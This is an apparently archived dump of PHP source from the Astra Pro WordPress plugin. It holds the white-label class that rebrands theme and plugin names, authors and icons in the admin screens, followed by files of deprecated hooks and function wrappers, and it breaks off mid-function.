be returned if the whitelabel value is not set by user. * * @return mixed. */ public static function get_whitelabel_string( $product, $key, $default = false ) { $constant = self::branding_key_to_constant( $product, $key ); if ( defined( $constant ) ) { return constant( $constant ); } $whitelabel_settings = self::get_white_labels(); if ( isset( $whitelabel_settings[ $product ][ $key ] ) && '' !== $whitelabel_settings[ $product ][ $key ] ) { return $whitelabel_settings[ $product ][ $key ]; } return $default; } /** * Convert brainding key to a constant. * Adds a prefix of 'AST_WL_' to all the constants followed by uppercase of the product and uppercased key. * Agency Name will be converted to AST_WL_ASTRA_AGENCY_NAME * * @param String $product Product Slug for which whitelabel value is to be received. * @param String $key whitelabel key to be received from the database. * @return String constantified whitelabel key. */ public static function branding_key_to_constant( $product, $key ) { return 'AST_WL_' . strtoupper( str_replace( '-', '_', $product ) . '_' . str_replace( '-', '_', $key ) ); } /** * Show white label tab. * * @since 1.0 * @return bool true | false */ public static function show_branding() { $show_branding = true; if ( true === (bool) self::get_whitelabel_string( 'astra-agency', 'hide_branding', false ) ) { $show_branding = false; } if ( defined( 'WP_ASTRA_WHITE_LABEL' ) && WP_ASTRA_WHITE_LABEL ) { $show_branding = false; } return apply_filters( 'astra_addon_show_branding', $show_branding ); } /** * Get white label setting. * * @since 1.0 * @since 1.6.14 depracated method in favour of self::get_whitelabel_string(). * * @param array $option option name. * @param array $sub_option sub option name. * @return array() */ public static function get_white_label( $option = '', $sub_option = '' ) { // Officially depracate function in the version 1.6.15. // _deprecated_function( __METHOD__, '1.6.15', 'Astra_Ext_White_Label_Markup::get_whitelabel_string()' );. return self::get_whitelabel_string( $option, $sub_option ); } /** * White labels the plugins page. * * @param array $plugins Plugins Array. * @return array */ public function plugins_page( $plugins ) { $key = plugin_basename( ASTRA_EXT_DIR . 'astra-addon.php' ); if ( isset( $plugins[ $key ] ) && false !== self::astra_pro_whitelabel_name() ) { $plugins[ $key ]['Name'] = self::astra_pro_whitelabel_name(); $plugins[ $key ]['Description'] = self::astra_pro_whitelabel_description(); } $author = self::astra_pro_whitelabel_author(); $author_uri = self::astra_pro_whitelabel_author_url(); if ( ! empty( $author ) ) { $plugins[ $key ]['Author'] = $author; $plugins[ $key ]['AuthorName'] = $author; } if ( ! empty( $author_uri ) ) { $plugins[ $key ]['AuthorURI'] = $author_uri; $plugins[ $key ]['PluginURI'] = $author_uri; } return $plugins; } /** * White labels the theme on the themes page. * * @param array $themes Themes Array. * @return array */ public function themes_page( $themes ) { $astra_key = 'astra'; if ( isset( $themes[ $astra_key ] ) ) { if ( false !== self::get_whitelabel_string( 'astra', 'name', false ) ) { $themes[ $astra_key ]['name'] = self::get_whitelabel_string( 'astra', 'name', false ); foreach ( $themes as $key => $theme ) { if ( isset( $theme['parent'] ) && 'Astra' == $theme['parent'] ) { $themes[ $key ]['parent'] = self::get_whitelabel_string( 'astra', 'name', false ); } } } if ( false !== self::get_whitelabel_string( 'astra', 'description', false ) ) { $themes[ $astra_key ]['description'] = self::get_whitelabel_string( 'astra', 'description', false ); } if ( false !== self::get_whitelabel_string( 'astra-agency', 'author', false ) ) { $author_url = ( '' === self::get_whitelabel_string( 'astra-agency', 'author_url', '' ) ) ? '#' : self::get_whitelabel_string( 'astra-agency', 'author_url', '' ); $themes[ $astra_key ]['author'] = self::get_whitelabel_string( 'astra-agency', 'author', false ); $themes[ $astra_key ]['authorAndUri'] = '<a href="' . esc_url( $author_url ) . '">' . self::get_whitelabel_string( 'astra-agency', 'author', false ) . '</a>'; } if ( false !== self::get_whitelabel_string( 'astra', 'screenshot', false ) ) { $themes[ $astra_key ]['screenshot'] = array( self::get_whitelabel_string( 'astra', 'screenshot', false ) ); } // Change link and theme name from the heme popup for the update notification. if ( isset( $themes[ $astra_key ]['update'] ) ) { // Replace Theme name with whitelabel theme name. $themes[ $astra_key ]['update'] = str_replace( 'Astra', self::get_whitelabel_string( 'astra', 'name' ), $themes[ $astra_key ]['update'] ); // Replace Theme URL with Agency URL. $themes[ $astra_key ]['update'] = str_replace( 'https://wordpress.org/themes/astra/?TB_iframe=true&width=1024&height=800', esc_url_raw( add_query_arg( array( 'TB_iframe' => true, 'hight' => '800', 'width' => '1024', ), self::get_whitelabel_string( 'astra-agency', 'author_url', 'https://wordpress.org/themes/astra/?TB_iframe=true&width=1024&height=800' ) ) ), $themes[ $astra_key ]['update'] ); } } return $themes; } /** * White labels the theme on the network admin themes page. * * @param array $themes Themes Array. * @return array */ public function network_themes_page( $themes ) { $astra_key = 'astra'; if ( isset( $themes[ $astra_key ] ) && is_network_admin() ) { $network_theme_data = array(); if ( false !== self::get_whitelabel_string( 'astra', 'name', false ) ) { $network_theme_data['Name'] = self::get_whitelabel_string( 'astra', 'name', false ); foreach ( $themes as $theme_key => $theme ) { if ( isset( $theme['parent'] ) && 'Astra' == $theme['parent'] ) { $themes[ $theme_key ]['parent'] = self::get_whitelabel_string( 'astra', 'name', false ); } } } if ( false !== self::get_whitelabel_string( 'astra', 'description', false ) ) { $network_theme_data['Description'] = self::get_whitelabel_string( 'astra', 'description', false ); } if ( false !== self::get_whitelabel_string( 'astra-agency', 'author', false ) ) { $author_url = ( '' === self::get_whitelabel_string( 'astra-agency', 'author_url', '' ) ) ? '#' : self::get_whitelabel_string( 'astra-agency', 'author_url', '' ); $network_theme_data['Author'] = self::get_whitelabel_string( 'astra-agency', 'author', false ); $network_theme_data['AuthorURI'] = $author_url; $network_theme_data['ThemeURI'] = $author_url; } if ( count( $network_theme_data ) > 0 ) { $reflection_object = new ReflectionObject( $themes[ $astra_key ] ); $headers = $reflection_object->getProperty( 'headers' ); $headers->setAccessible( true ); $headers_sanitized = $reflection_object->getProperty( 'headers_sanitized' ); $headers_sanitized->setAccessible( true ); // Set white labeled theme data. $headers->setValue( $themes[ $astra_key ], $network_theme_data ); $headers_sanitized->setValue( $themes[ $astra_key ], $network_theme_data ); // Reset back to private. $headers->setAccessible( false ); $headers_sanitized->setAccessible( false ); } } return $themes; } /** * White labels the theme on the dashboard 'At a Glance' metabox * * @param mixed $content Content. * @return array */ public function admin_dashboard_page( $content ) { if ( is_admin() && 'Astra' == wp_get_theme() && false !== self::get_whitelabel_string( 'astra', 'name', false ) ) { return sprintf( $content, get_bloginfo( 'version', 'display' ), '<a href="themes.php">' . self::get_whitelabel_string( 'astra', 'name', false ) . '</a>' ); } return $content; } /** * White labels the theme using the gettext filter * to cover areas that we can't access like the Customizer. * * @param string $text Translated text. * @param string $original Text to translate. * @param string $domain Text domain. Unique identifier for retrieving translated strings. * @return string */ public function theme_gettext( $text, $original, $domain ) { if ( 'Astra' == $original ) { $text = self::get_whitelabel_string( 'astra', 'name', false ); } return $text; } /** * White labels the plugin using the gettext filter * to cover areas that we can't access. * * @param string $text Translated text. * @param string $original Text to translate. * @param string $domain Text domain. Unique identifier for retrieving translated strings. * @return string */ public function plugin_gettext( $text, $original, $domain ) { if ( 'Astra Pro' == $original ) { $text = self::astra_pro_whitelabel_name(); } return $text; } /** * White labels the builder theme using the `customize_render_section` hook * to cover areas that we can't access like the Customizer. * * @param object $instance Astra Object. * @return string Only return if theme branding has been filled up. */ public function theme_customizer( $instance ) { if ( 'Astra' == $instance->title ) { if ( false !== self::get_whitelabel_string( 'astra', 'name', false ) ) { $instance->title = self::get_whitelabel_string( 'astra', 'name', false ); return $instance->title; } } } /** * Allow to remove the theme switch in the customizer as the theme name cannot be edited * * @since 1.6.12 * @param object $wp_customize customizer object. */ public static function remove_themes_section( $wp_customize ) { $wp_customize->remove_panel( 'themes' ); } /** * Filter to update Theme Author Link * * @param array $args Theme Author Detail Array. * @return array */ public function theme_author_callback( $args ) { if ( false !== self::get_whitelabel_string( 'astra', 'name', false ) ) { $args['theme_name'] = self::get_whitelabel_string( 'astra', 'name', false ); } if ( false !== self::astra_pro_whitelabel_author_url() ) { $args['theme_author_url'] = self::astra_pro_whitelabel_author_url(); } return $args; } /** * Menu Page Title * * @param string $title Page Title. * @return string */ public function menu_page_title( $title ) { if ( false !== self::get_whitelabel_string( 'astra', 'name', false ) ) { $title = self::get_whitelabel_string( 'astra', 'name', false ); } return $title; } /** * Astra Pro plugin Title * * @param string $title Page Title. * @return string */ public function addon_page_name( $title ) { if ( false !== self::get_whitelabel_string( 'astra-pro', 'name', false ) ) { $title = self::get_whitelabel_string( 'astra-pro', 'name', false ); } return $title; } /** * Licence Url * * @param string $purchase_url Actions. * @return string */ public function addon_licence_url( $purchase_url ) { if ( false !== self::get_whitelabel_string( 'astra-agency', 'licence', false ) ) { $purchase_url = self::get_whitelabel_string( 'astra-agency', 'licence', false ); } return $purchase_url; } /** * Astra Theme Url * * @param string $url Author Url if given. * @return string */ public function agency_author_link( $url ) { if ( false !== self::astra_pro_whitelabel_author_url() ) { $url = self::astra_pro_whitelabel_author_url(); } return $url; } /** * Get Astra Pro whitelabelled name. * * @since 1.6.10 * @param String $name Original Product name from Graupi. * * @return String Astra Pro's whitelabelled name. */ public function astra_pro_whitelabel_name( $name = false ) { return self::get_whitelabel_string( 'astra-pro', 'name', $name ); } /** * Get Astra Pro whitelabelled description. * * @since 1.6.10 * @param String $description Original Product descriptionn from Graupi. * * @return String Astra Pro's whitelabelled description. */ public function astra_pro_whitelabel_description( $description = false ) { return self::get_whitelabel_string( 'astra-pro', 'description', $description ); } /** * Get Astra Pro whitelabelled author. * * @since 1.6.10 * @param String $author Original Product author from Graupi. * * @return String Astra Pro's whitelabelled author. */ public function astra_pro_whitelabel_author( $author = false ) { return self::get_whitelabel_string( 'astra-agency', 'author', $author ); } /** * Get Astra Pro whitelabelled author URL. * * @since 1.6.10 * @param String $author_url Original Product author URL from Graupi. * * @return String Astra Pro's whitelabelled author URL. */ public function astra_pro_whitelabel_author_url( $author_url = false ) { return self::get_whitelabel_string( 'astra-agency', 'author_url', $author_url ); } /** * Update Plugin icon to be whitelabelled. * * @since 1.6.14 * @return Array Default plugin using Theme screenshot image for Astra Pro. */ public function astra_pro_branded_icons() { return array( 'default' => self::get_whitelabel_string( 'astra', 'screenshot' ), ); } /** * Get whitelabelled icon for admin dashboard. * * @since 4.0.0 * @param string $admin_logo Default Astra icon. * @return string URL for updated whitelabelled icon. */ public function update_admin_brand_logo( $admin_logo ) { $admin_logo = self::get_whitelabel_string( 'astra', 'icon' ); // Dark version logo support for white admin canvas. if ( false !== strpos( $admin_logo, 'whitelabel-branding.svg' ) ) { $admin_logo = ASTRA_EXT_URI . 'admin/core/assets/images/whitelabel-branding-dark.svg'; } return esc_url( $admin_logo ); } /** * Remove White Label Actions. * * @param array $columns Custom layout actions. * @return array $columns Custom layout actions. */ public function remove_white_label_action( $columns ) { unset( $columns['advanced_hook_action'] ); return $columns; } /** * Remove custom layouts description. * * @param array $hooks Custom layout data. * @return array $hooks Custom layout data. */ public function remove_description_custom_layouts( $hooks = array() ) { if ( $hooks ) { foreach ( $hooks as $key => $hook_group ) { if ( array_key_exists( 'hooks', $hook_group ) ) { foreach ( $hook_group['hooks'] as $hook_group_key => $hook ) { if ( array_key_exists( 'description', $hook ) ) { unset( $hooks[ $key ]['hooks'][ $hook_group_key ]['description'] ); } } } } } return $hooks; } /** * Rewrite custom layouts slug. * * @param array $slug Custom layout slug. * @return array $slug Custom layout slug. */ public function change_custom_hook_url_slug( $slug ) { $theme_whitelabelled_name = self::get_whitelabel_string( 'astra', 'name', false ); // Get white label theme name. $theme_name = strtolower( self::astra_pro_whitelabel_name() ); $theme_name = str_replace( ' ', '-', $theme_name ); if ( false !== $theme_whitelabelled_name ) { $slug = str_replace( ' ', '-', $theme_whitelabelled_name ) . '-advanced-hook'; } return $slug; } /** * Get whitelabelled slug. * User entered display name of the plugin is converted to slug. * * @since 1.6.14 * @param String $name Default slug. * @return String slugified product name. */ public function astra_whitelabelled_slug( $name ) { return sanitize_key( rawurlencode( self::get_whitelabel_string( 'astra', 'name', $name ) ) ); } /** * Update strings on the update-core.php page. * * @since 1.6.14 * @return void */ public function updates_core_page() { global $pagenow; if ( false !== self::get_whitelabel_string( 'astra', 'icon' ) ) { echo '<style> #toplevel_page_' . esc_attr( $this->astra_whitelabelled_slug( 'astra' ) ) . ' .wp-menu-image { background-image: url( ' . esc_url( self::get_whitelabel_string( 'astra', 'icon' ) ) . ' ) !important; opacity: 0.6; background-size: 20px 34px; background-repeat: no-repeat; background-position: center; } #toplevel_page_' . esc_attr( $this->astra_whitelabelled_slug( 'astra' ) ) . '.wp-menu-open .wp-menu-image, #toplevel_page_' . esc_attr( $this->astra_whitelabelled_slug( 'astra' ) ) . ' .wp-has-current-submenu .wp-menu-image { opacity: 1; } </style>'; } if ( 'update-core.php' == $pagenow ) { $default_screenshot = sprintf( '%s/astra/screenshot.jpg?ver=%s', get_theme_root_uri(), ASTRA_THEME_VERSION ); $branded_screenshot = self::get_whitelabel_string( 'astra', 'screenshot', false ); $default_name = 'Astra'; $branded_name = self::get_whitelabel_string( 'astra', 'name', false ); if ( false !== $branded_screenshot ) { wp_add_inline_script( 'updates', " var _ast_default_ss = '$default_screenshot', _ast_branded_ss = '$branded_screenshot'; document.querySelectorAll( '#update-themes-table .plugin-title .updates-table-screenshot' ).forEach(function(theme) { if( _ast_default_ss === theme.src ) { theme.src = _ast_branded_ss; } });" ); } if ( false !== $branded_name ) { wp_add_inline_script( 'updates', " var _ast_default_name = '$default_name', _ast_branded_name = '" . esc_js( $branded_name ) . "'; document.querySelectorAll( '#update-themes-table .plugin-title strong' ) .forEach(function(plugin) { if( _ast_default_name === plugin.innerText ) { plugin.innerText = _ast_branded_name; } });" ); } } } /** * Return White Label status to BSF Analytics. * Return true if the White Label is enabled from Astra Addon to the BSF Analytics library. * * @since 2.4.1 * @param array $bsf_analytics_wl_arr BSF Analytics White Label products statuses array. * @return array product name with white label status. */ public function astra_bsf_analytics_white_label( $bsf_analytics_wl_arr ) { if ( ! isset( $bsf_analytics_wl_arr['astra_addon'] ) ) { $bsf_analytics_wl_arr['astra_addon'] = true; } return $bsf_analytics_wl_arr; } } } /** * Kicking this off by calling 'get_instance()' method */ Astra_Ext_White_Label_Markup::get_instance(); deprecated/deprecated-actions.php 0000666 00000003761 15165730730 0013135 0 ustar 00 <?php /** * Deprecated Actions of Astra Addon. * * @package Astra * @link https://wpastra.com/ * @since Astra 3.5.7 */ if ( ! defined( 'ABSPATH' ) ) { exit; } if ( function_exists( 'astra_do_action_deprecated' ) ) { /** * Depreciating Astra AJAX pgination actions. * * @since 3.5.7 */ astra_do_action_deprecated( 'astra_shop_pagination_infinite', array(), '3.5.7' ); astra_do_action_deprecated( 'astra_pagination_infinite', array(), '3.5.7' ); } // Depreciating astra_get_css_files hook. add_action( 'astra_addon_get_css_files', 'astra_deprecated_astra_get_css_files_hook' ); /** * Depreciating 'astra_get_css_files' action & replacing with 'astra_addon_get_css_files'. * * @since 3.6.2 */ function astra_deprecated_astra_get_css_files_hook() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound astra_do_action_deprecated( 'astra_get_css_files', array(), '3.6.2', 'astra_addon_get_css_files' ); } // Depreciating astra_get_js_files hook. add_action( 'astra_addon_get_js_files', 'astra_deprecated_astra_get_js_files_hook' ); /** * Depreciating 'astra_get_js_files' action & replacing with 'astra_addon_get_js_files'. * * @since 3.6.2 */ function astra_deprecated_astra_get_js_files_hook() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound astra_do_action_deprecated( 'astra_get_js_files', array(), '3.6.2', 'astra_addon_get_js_files' ); } // Depreciating astra_after_render_js hook. add_action( 'astra_addon_after_render_js', 'astra_deprecated_astra_after_render_js_hook' ); /** * Depreciating 'astra_after_render_js' action & replacing with 'astra_addon_after_render_js'. * * @since 3.6.2 */ function astra_deprecated_astra_after_render_js_hook() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound astra_do_action_deprecated( 'astra_after_render_js', array(), '3.6.2', 'astra_addon_after_render_js' ); } deprecated/deprecated-functions.php 0000666 00000060431 15165730730 0013502 0 ustar 00 <?php /** * Deprecated Functions of Astra Addon. * * @package Astra * @link https://wpastra.com/ * @since Astra 1.6.2 */ if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! function_exists( 'astra_pagination_infinite' ) ) : /** * Deprecating astra_pagination_infinite function. * * @since 3.5.7 * @deprecated 3.5.7 */ function astra_pagination_infinite() { _deprecated_function( __FUNCTION__, '3.5.7' ); } endif; if ( ! function_exists( 'astra_shop_pagination_infinite' ) ) : /** * Deprecating astra_shop_pagination_infinite function. * * @since 3.5.7 * @deprecated 3.5.7 */ function astra_shop_pagination_infinite() { _deprecated_function( __FUNCTION__, '3.5.7' ); } endif; if ( ! function_exists( 'astra_addon_clear_assets_cache' ) ) : /** * Deprecating astra_addon_clear_assets_cache function. * * @since 3.5.9 * @deprecated 3.5.9 */ function astra_addon_clear_assets_cache() { _deprecated_function( __FUNCTION__, '3.5.9' ); } endif; /** * Deprecating astra_get_supported_posts function. * * Getting Astra theme name. * * @since 3.6.2 * @deprecated 3.6.2 Use astra_addon_get_supported_posts() * @param boolean $with_tax Post has taxonomy. * * @see astra_addon_get_supported_posts() * * @return string */ function astra_get_supported_posts( $with_tax ) { _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_get_supported_posts()' ); return astra_addon_get_supported_posts( $with_tax ); } /** * Deprecating astra_rgba2hex function. * * Getting Astra theme name. * * @since 3.6.2 * @deprecated 3.6.2 Use astra_addon_rgba2hex() * @param string $string Color code in RGBA / RGB format. * @param string $include_alpha Color code in RGBA / RGB format. * * @see astra_addon_rgba2hex() * * @return string Return HEX color code. */ function astra_rgba2hex( $string, $include_alpha = false ) { _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_rgba2hex()' ); return astra_addon_rgba2hex( $string, $include_alpha = false ); } /** * Deprecating astra_check_is_hex function. * * Getting Astra theme name. * * @since 3.6.2 * @param string $string Color code any format. * * @see astra_addon_check_is_hex() * * @return boolean Return true | false. */ function astra_check_is_hex( $string ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_check_is_hex()' ); return astra_addon_check_is_hex( $string ); } /** * Deprecating is_support_swap_mobile_below_header_sections function. * * Checking backward flag to support swapping of sections in mobile-below header. * * @since 3.6.2 * @deprecated 3.6.2 Use astra_addon_swap_mobile_below_header_sections() * @see astra_addon_swap_mobile_below_header_sections() * * @return bool true|false */ function is_support_swap_mobile_below_header_sections() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_swap_mobile_below_header_sections()' ); return astra_addon_swap_mobile_below_header_sections(); } /** * Deprecating sticky_header_default_site_title_tagline_css_comp function. * * Sticky header's title-tagline CSS compatibility backward check. * * @since 3.6.2 * @deprecated 3.6.2 Use astra_addon_sticky_site_title_tagline_css_comp() * @see astra_addon_sticky_site_title_tagline_css_comp() * * @return bool true|false */ function sticky_header_default_site_title_tagline_css_comp() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_sticky_site_title_tagline_css_comp()' ); return astra_addon_sticky_site_title_tagline_css_comp(); } /** * Deprecating is_support_swap_mobile_above_header_sections function. * * Checking backward flag to support swapping of sections in mobile-above header. * * @since 3.6.2 * @deprecated 3.6.2 Use astra_addon_support_swap_mobile_above_header_sections() * @see astra_addon_support_swap_mobile_above_header_sections() * * @return bool true|false */ function is_support_swap_mobile_above_header_sections() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_support_swap_mobile_above_header_sections()' ); return astra_addon_support_swap_mobile_above_header_sections(); } /** * Deprecating astra_return_content_layout_page_builder function. * * Getting 'page-builder' layout. * * @since 3.6.2 * @deprecated 3.6.2 Use astra_addon_return_content_layout_page_builder() * @see astra_addon_return_content_layout_page_builder() * * @return string page-builder string used for filter `astra_get_content_layout` */ function astra_return_content_layout_page_builder() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_return_content_layout_page_builder()' ); return astra_addon_return_content_layout_page_builder(); } /** * Deprecating astra_return_page_layout_no_sidebar function. * * Getting 'no-sidebar' layout option. * * @since 3.6.2 * @deprecated 3.6.2 Use astra_addon_return_page_layout_no_sidebar() * @see astra_addon_return_page_layout_no_sidebar() * * @return string page-builder string used for filter `astra_get_content_layout` */ function astra_return_page_layout_no_sidebar() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_return_page_layout_no_sidebar()' ); return astra_addon_return_page_layout_no_sidebar(); } /** * Deprecating astra_pro_is_emp_endpoint function. * * Checking if AMP is setup or not. * * @since 3.6.2 * @deprecated 3.6.2 Use astra_addon_is_amp_endpoint() * @see astra_addon_is_amp_endpoint() * * @return string page-builder string used for filter `astra_get_content_layout` */ function astra_pro_is_emp_endpoint() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_is_amp_endpoint()' ); return astra_addon_is_amp_endpoint(); } /** * Deprecating is_astra_breadcrumb_trail function. * * Checking if breadcrumb with trail. * * @since 3.6.2 * @param string $echo Whether to echo or return. * * @see astra_addon_is_breadcrumb_trail() * * @return string breadcrumb markup */ function is_astra_breadcrumb_trail( $echo ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_is_breadcrumb_trail()' ); return astra_addon_is_breadcrumb_trail( $echo ); } /** * Deprecating astra_breadcrumb_shortcode function. * * Breadcrumb markup shortcode based. * * @since 3.6.2 * @deprecated 3.6.2 Use astra_addon_breadcrumb_shortcode() * @see astra_addon_breadcrumb_shortcode() * * @return string */ function astra_breadcrumb_shortcode() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_breadcrumb_shortcode()' ); return astra_addon_breadcrumb_shortcode(); } /** * Deprecating astra_get_template function. * * Getting Astra Pro's template. * * @since 3.6.2 * @param string $template_name template path. E.g. (directory / template.php). * @param array $args (default: array()). * @param string $template_path (default: ''). * @param string $default_path (default: ''). * * @see astra_addon_get_template() * * @return callback */ function astra_get_template( $template_name, $args = array(), $template_path = '', $default_path = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_get_template()' ); return astra_addon_get_template( $template_name, $args = array(), $template_path = '', $default_path = '' ); } /** * Deprecating astra_locate_template function. * * Locate Astra Pro's template. * * @since 3.6.2 * @param string $template_name template path. E.g. (directory / template.php). * @param string $template_path (default: ''). * @param string $default_path (default: ''). * * @see astra_addon_locate_template() * * @return string return the template path which is maybe filtered. */ function astra_locate_template( $template_name, $template_path = '', $default_path = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_locate_template()' ); return astra_addon_locate_template( $template_name, $template_path = '', $default_path = '' ); } /** * Deprecating astra_ext_adv_search_dynamic_css function. * * Advanced search's dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_adv_search_dynamic_css() * * @return string */ function astra_ext_adv_search_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_adv_search_dynamic_css()' ); return astra_addon_adv_search_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_ext_advanced_search_dynamic_css function. * * Advanced search's dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_advanced_search_dynamic_css() * * @return string */ function astra_ext_advanced_search_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_advanced_search_dynamic_css()' ); return astra_addon_advanced_search_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_ext_header_builder_sections_colors_dynamic_css function. * * Astra builder sections advanced color & background specific dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_header_builder_sections_colors_dynamic_css() * * @return string */ function astra_ext_header_builder_sections_colors_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_header_builder_sections_colors_dynamic_css()' ); return astra_addon_header_builder_sections_colors_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_ext_header_sections_colors_dynamic_css function. * * Astra's old header sections dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_header_sections_colors_dynamic_css() * * @return string */ function astra_ext_header_sections_colors_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_header_sections_colors_dynamic_css()' ); return astra_addon_header_sections_colors_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_ldrv3_dynamic_css function. * * Learndash extension specific dynamic CSS. * * @since 3.6.2 * * @see astra_addon_ldrv3_dynamic_css() * * @return string */ function astra_ldrv3_dynamic_css() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_ldrv3_dynamic_css()' ); return astra_addon_ldrv3_dynamic_css(); } /** * Deprecating astra_learndash_dynamic_css function. * * Learndash extension specific dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_learndash_dynamic_css() * * @return string */ function astra_learndash_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_learndash_dynamic_css()' ); return astra_addon_learndash_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_ext_mobile_above_header_dynamic_css function. * * Astra's old header mobile layout specific dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_mobile_above_header_dynamic_css() * * @return string */ function astra_ext_mobile_above_header_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_mobile_above_header_dynamic_css()' ); return astra_addon_mobile_above_header_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_ext_mobile_below_header_dynamic_css function. * * Astra's old header mobile layout specific dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_mobile_below_header_dynamic_css() * * @return string */ function astra_ext_mobile_below_header_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_mobile_below_header_dynamic_css()' ); return astra_addon_mobile_below_header_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_ext_mobile_header_colors_background_dynamic_css function. * * Astra's old header mobile layout colors-background specific dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_mobile_header_colors_background_dynamic_css() * * @return string */ function astra_ext_mobile_header_colors_background_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( __FUNCTION__, '3.6.2', 'astra_addon_mobile_header_colors_background_dynamic_css()' ); return astra_addon_mobile_header_colors_background_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ); } /** * Deprecating astra_ext_mobile_header_spacing_dynamic_css function. * * Astra's old header mobile layout spacing specific dynamic CSS. * * @since 3.6.2 * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * * @see astra_addon_mobile_header_spacing_dynamic_css() * * @return string */ function astra_ext_mobile_header_spacing_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound _deprecated_function( 